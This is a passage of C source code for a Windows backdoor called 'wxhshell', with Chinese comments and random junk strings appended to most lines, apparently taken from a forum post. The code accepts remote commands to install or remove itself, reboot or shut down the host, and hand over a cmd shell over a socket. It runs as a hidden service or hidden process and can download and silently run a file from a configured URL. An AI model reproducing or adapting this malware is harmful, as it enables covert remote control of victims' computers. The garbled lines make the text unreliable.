  if(DownloadFile(cmd,wsh)) : ejJV 6.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !>g:Si"  
  else ,X/-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +K{LQsR]  
  } FtIa*j^G  
  else { &erm`Ho  
DDw''  
    switch(cmd[0]) { (-"`,8K 2}  
  pbn\9C/  
  // 帮助 y=H@6$2EQ  
  case '?': { >n$ !<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &mkpJF/  
    break; /fwgqFVk  
  } JP'= UZ'  
  // 安装 ^oeJKjJ  
  case 'i': { l\Xd.H" j,  
    if(Install()) ycX{NDGs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ngyY  
    else %l$W*.j|;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 91d }, Mq:  
    break; 6 bO;&  
    } !'W-6f  
  // 卸载 jv&+<j`r  
  case 'r': { ~&g a1r2v?  
    if(Uninstall()) urZ8j?}c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )2.)3w1_4  
    else '^}+Fv<O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yV]xRaRr2  
    break; R$6qoqv{yG  
    } =r6qX  
  // 显示 wxhshell 所在路径 s<7XxQ  
  case 'p': { %Fft R1"  
    char svExeFile[MAX_PATH]; _T*AC.  
    strcpy(svExeFile,"\n\r"); LP<<'(l`  
      strcat(svExeFile,ExeFile); t9u|iTY f!  
        send(wsh,svExeFile,strlen(svExeFile),0); y0IK,W'&?  
    break; $[(d X!]F  
    } ?L|yaC~  
  // 重启 +AI`R`Tm  
  case 'b': { 0I%: BT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `ROG~0lN(  
    if(Boot(REBOOT)) <avQR9'&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5H !y46z  
    else { Tr.hmGU  
    closesocket(wsh); 5D' bJ6PO  
    ExitThread(0); '`l K'5;  
    } &jf7k <^  
    break; )=_ycf^MC  
    } Y &f\VNlT  
  // 关机 6|=j+rScv  
  case 'd': { ;j'Daupt;=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Zb(t3I>n  
    if(Boot(SHUTDOWN)) srmKaa|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I}.i@d'O  
    else { S; /. %  
    closesocket(wsh); d3^7ag%  
    ExitThread(0); YfDWM7x7,  
    } ,XB%\[pKe  
    break; C`K^L=8`{  
    } jP=Hf=:$  
  // 获取shell qd6fU^)i  
  case 's': { JYmAn?o-  
    CmdShell(wsh); GyC)EFd  
    closesocket(wsh); +5X DF  
    ExitThread(0); <z0WLw0'z  
    break; q7Es$zjX  
  } _vl}*/=Hc  
  // 退出 4JMiyiW&  
  case 'x': { /q1s;I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .-]R9KjR1J  
    CloseIt(wsh); !I8f#'p  
    break; R7_VXvm>z  
    } D>#l-{d  
  // 离开 S# we3  
  case 'q': { &Lj@9\Dh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~5OL6Bi-q  
    closesocket(wsh); 1r9f[j~  
    WSACleanup(); -5Utl os  
    exit(1); |b.z*G  
    break; PCE4W^ns  
        } OAe#Wf!c  
  } tP(h9|[N  
  } bcz-$?]  
]?<n#=eW  
  // 提示信息 Y83GKh,*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s&tE_  
} qVgd(?hJ#  
  } h @/;`E[  
2qU&l|>  
  return; s~L</Xvo  
} 7P**:b  
<$i4?)f(  
// shell模块句柄 <bUe/m  
int CmdShell(SOCKET sock) 4s.]M>Yb  
{ K4 %/!`  
STARTUPINFO si; NiSO'=y$n  
ZeroMemory(&si,sizeof(si)); Xe1P- 6 0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^&[+H8$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ")UwkF  
PROCESS_INFORMATION ProcessInfo; 9 [Y-M  
char cmdline[]="cmd"; C"eXs#A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s] au/T6b  
  return 0; 4IsG=7   
} Fo|xzLm9*|  
jna;0)  
// 自身启动模式 07_oP(;jT  
int StartFromService(void) ^DAu5|--R  
{ 0D~ Tga)  
typedef struct |m* .LTO  
{ Ciihsm  
  DWORD ExitStatus; bbN%$/d  
  DWORD PebBaseAddress; 77,oPLSn  
  DWORD AffinityMask; FxW&8 9G  
  DWORD BasePriority; B$a-og(  
  ULONG UniqueProcessId; 8OFj0S1r`  
  ULONG InheritedFromUniqueProcessId; \:_3i\2p  
}   PROCESS_BASIC_INFORMATION; 4^Rd{'mt  
1{PG>W  
PROCNTQSIP NtQueryInformationProcess; i*[n{=*l@  
IOl+t,0x&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l*}FXL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dt,3"J  
M]rO;^;6?  
  HANDLE             hProcess; VLvS$0(}Z  
  PROCESS_BASIC_INFORMATION pbi; Le#spvV3J|  
1|| nR4yK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vF={9G  
  if(NULL == hInst ) return 0; "8<K'zeS8  
m#5_%3T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B#l?IB~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); = !2NU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); QwWW! 8  
&0 \ ci9o  
  if (!NtQueryInformationProcess) return 0; ~)X[(T{  
%w}gzxN^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wS XVyg{  
  if(!hProcess) return 0; nb, 2,H  
3MBN:dbQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |D#2GeBw1h  
MQTdk*L_]  
  CloseHandle(hProcess); {7"0,2 Hb?  
t#wmAOW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yI;"9G  
if(hProcess==NULL) return 0; !!,0'c  
OSDy'@   
HMODULE hMod; 1,t)3;o$  
char procName[255]; _M5%V>HO  
unsigned long cbNeeded; R= 5 **  
-j2 (R?a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -K %5(Eg  
\OwpD,'  
  CloseHandle(hProcess); v/Pw9j!r;m  
+s[\g>i  
if(strstr(procName,"services")) return 1; // 以服务启动 2& LQg=O  
aMuVqZw  
  return 0; // 注册表启动 }SfbCa)UO  
} 7[#xOZT  
(/{aJV  
// 主模块 z~oDWANP  
int StartWxhshell(LPSTR lpCmdLine) 4 gBp8*2  
{ >)nS2b OE  
  SOCKET wsl; t;q7t!sC]  
BOOL val=TRUE; nvq3*  
  int port=0; JMa3btLy(  
  struct sockaddr_in door; V%ii3  
"M H6fF  
  if(wscfg.ws_autoins) Install(); Qyh/ed/  
UE0$ o?  
port=atoi(lpCmdLine); |zsbW9 W*m  
7=}F{U  
if(port<=0) port=wscfg.ws_port; 2.I^Xf2  
&9[P-w;7u  
  WSADATA data; nD6G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RYR-K^;R  
y-aRXF=W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W<b-r^9?s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]ya; v '  
  door.sin_family = AF_INET; d5m`Bm-{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %j,iAUE<  
  door.sin_port = htons(port); ^rAa"p9  
+OaUP*\Dd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /pH(WHT+/H  
closesocket(wsl); + %*&.@z_  
return 1; 4vZ4/#(x  
} DocbxB={I  
z%d#@w0X1  
  if(listen(wsl,2) == INVALID_SOCKET) { 3z =^(Y  
closesocket(wsl); v4vf }.L]  
return 1; n> w`26MMp  
} cNK)5- U  
  Wxhshell(wsl); nhT(P`6  
  WSACleanup(); ~Qj}ijWD  
HTjkR*E  
return 0; B|Wk?w.{r\  
:3ZYJW1  
} b'p4wE>  
"jg@w%~  
// 以NT服务方式启动 +b$S~0n   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 47By`Jh71  
{ T2'RATfG  
DWORD   status = 0; 8G^<[`.@j  
  DWORD   specificError = 0xfffffff; E9fxjI%1  
 Gs0H@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k#>hg#G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (U1]:tZ<.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *A}WP_ZQ  
  serviceStatus.dwWin32ExitCode     = 0; (GK pA}~R  
  serviceStatus.dwServiceSpecificExitCode = 0; wEft4 o  
  serviceStatus.dwCheckPoint       = 0; 'o4p#`R:8  
  serviceStatus.dwWaitHint       = 0; XFwLz  
ub:ly0;t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D)$8 W[  
  if (hServiceStatusHandle==0) return; f>9s!Hpu_  
?? qq:`s  
status = GetLastError(); Bik*b)9y2  
  if (status!=NO_ERROR) *s4\\Wb=  
{ a>mMvc"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W#w.h33)#6  
    serviceStatus.dwCheckPoint       = 0; Do7=#|bAM  
    serviceStatus.dwWaitHint       = 0; Vzlh+R>c  
    serviceStatus.dwWin32ExitCode     = status; uBnoQ~Qd[z  
    serviceStatus.dwServiceSpecificExitCode = specificError; K!z`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kQ>^->w  
    return; AC%JC+  
  } MHj,<|8Q  
|pZUlQbb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m"2d$vro"  
  serviceStatus.dwCheckPoint       = 0; (K..k-o`.  
  serviceStatus.dwWaitHint       = 0; E)N<lh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8AFczeg[[  
} 3)Ac"nuyqH  
O~Wt600{E  
// 处理NT服务事件,比如:启动、停止 s Kicn5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U Z_'><++  
{ R*pC.QiB~  
switch(fdwControl) QfjN"25_  
{ H U+ I  
case SERVICE_CONTROL_STOP: W !}{$  
  serviceStatus.dwWin32ExitCode = 0; `_X;.U.Mv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1=}qBR#scY  
  serviceStatus.dwCheckPoint   = 0; '\q f^?9  
  serviceStatus.dwWaitHint     = 0; Y'VBz{brf  
  { njPPztv/@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hcCp,b  
  } 6i@\5}m=  
  return; Vy<HA*  
case SERVICE_CONTROL_PAUSE: xG2F!WeF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; '_P\#7$!MV  
  break; ,zTb<g  
case SERVICE_CONTROL_CONTINUE: XL}"1lE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *>8ce-PV  
  break; ZAKeEm2A  
case SERVICE_CONTROL_INTERROGATE: 6=hk=2]f  
  break; e 8\;t"D  
}; Rf-[svA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .4y>QN#VL  
} 4-GXmC  
bru/AZ#de  
// 标准应用程序主函数 (oz$B0HO:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lK7m=[ j  
{ ow'Vz Ay-  
Mj=$y?d ]  
// 获取操作系统版本 24c ek  
OsIsNt=GetOsVer(); Ey[On^$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F/d7q%I  
p>=[-(mt  
  // 从命令行安装 >x1p%^cA;=  
  if(strpbrk(lpCmdLine,"iI")) Install(); aolN<u3G  
KW^<,qt5w  
  // 下载执行文件 {svn=H /  
if(wscfg.ws_downexe) { Y/ot3[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WG71k8af  
  WinExec(wscfg.ws_filenam,SW_HIDE); \G@wp5  
} UO Ug4  
K5t0L!6<+  
if(!OsIsNt) { !5@_j,lW(  
// 如果时win9x,隐藏进程并且设置为注册表启动 Os%n{_#8  
HideProc(); qml2XJ>  
StartWxhshell(lpCmdLine); T'-FV  
} <+j)P4O4  
else penlG36Q  
  if(StartFromService()) P,S G.EFK  
  // 以服务方式启动 g9fq5E<G  
  StartServiceCtrlDispatcher(DispatchTable); `Hx~UH)  
else @wmi 5oExc  
  // 普通方式启动 fU3`v\X  
  StartWxhshell(lpCmdLine); 7}O.wUKw%  
D#A~Nbc  
return 0; }ArpPU :]  
}
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级别: 大掌柜
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只看该作者 1 发表于: 2006-10-10
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